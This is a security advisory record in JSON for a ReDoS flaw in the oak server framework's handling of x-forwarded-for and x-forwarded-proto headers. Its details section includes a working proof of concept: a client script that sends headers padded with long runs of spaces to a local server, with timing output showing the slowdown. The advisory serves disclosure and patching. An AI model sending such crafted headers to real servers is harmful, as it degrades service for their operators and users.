{"id":"GHSA-r3v7-pc4g-7xp9","summary":"Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers","details":"### Summary\n\nWith specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server.\n\n### Vulnerable Code\n\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142\n\n### PoC\n\n- setup\n```\ndeno --version\ndeno 2.4.3\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n```\n\n- `server.ts`\n```ts\nimport { Application } from \"https://deno.land/x/oak/mod.ts\";\n\nconst app = new Application({proxy: true});\n\nlet i = 1\n\napp.use((ctx) =\u003e {\n\n    // let url = ctx.request.url   // test1) x-forwarded-proto\n    let ips = ctx.request.ips   // test2) x-forwarded-for\n    console.log(`request ${i} received`)\n    i++;\n    ctx.response.body = \"hello\";\n});\n\nawait app.listen({ port: 8080 });\n```\n\n- `client.ts`\n```ts\nconst lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]\n\nconst data1 = lengths.map(l =\u003e 'A' + 'A'.repeat(l) + 'A');\nconst data2 = lengths.map(l =\u003e 'A' + ' '.repeat(l) + 'A');\n\nasync function run(data) {\n    for (let i = 0; i \u003c data.length; i++) {\n        let d = data[i];\n        \n        const start = performance.now();\n\n        await fetch(\"http://localhost:8080\", {\n            headers: {\n                // \"x-forwarded-proto\": d,  // test1)\n                \"x-forwarded-for\": d,    // test2)\n            },\n        });\n\n        const end = performance.now();\n        console.log('length=%d, time=%d ms', d.length, end - start);\n    }\n}\n\nconsole.log(\"\\n[+] Test normal behavior\")\nawait run(data1)\nconsole.log(\"\\n[+] Test payloads\")\nawait run(data2)\n```\n\n- run\n```\ndeno run --allow-net server.ts\ndeno run --allow-net client.ts\n\n[+] Test normal behavior\nlength=2002, time=14 ms\nlength=4002, time=6 ms\nlength=8002, time=3 ms\nlength=16002, time=3 ms\nlength=32002, time=2 ms\nlength=64002, time=4 ms\nlength=128002, time=3 ms\n\n[+] Test payloads\nlength=2002, time=7 ms\nlength=4002, time=22 ms\nlength=8002, time=77 ms\nlength=16002, time=241 ms\nlength=32002, time=947 ms\nlength=64002, time=4020 ms\nlength=128002, time=15840 ms\n```\n\n\n### Impact\n\nA specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers  can be used to significantly slow down an oak server.\n\n### Similar Issues\n\n- https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6\n\t- https://github.com/denoland/deno/pull/17722\n- https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693\n\t- https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff","aliases":["CVE-2025-55152"],"modified":"2025-08-12T00:15:00Z","published":"2025-08-12T00:15:00Z","database_specific":{"cwe_ids":["CWE-400"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-08-12T00:15:00Z","nvd_published_at":"2025-08-09T02:15:38Z"},"references":[{"type":"WEB","url":"https://github.com/oakserver/oak/security/advisories/GHSA-r3v7-pc4g-7xp9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55152"},{"type":"WEB","url":"https://github.com/oakserver/oak/commit/b60e60330ef227707c4dc13ef0ea36192d894f44"},{"type":"PACKAGE","url":"https://github.com/oakserver/oak"},{"type":"WEB","url":"https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142"},{"type":"WEB","url":"https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87"}],"affected":[{"package":{"name":"@oakserver/oak","ecosystem":"npm","purl":"pkg:npm/%40oakserver/oak"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"14.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-r3v7-pc4g-7xp9/GHSA-r3v7-pc4g-7xp9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}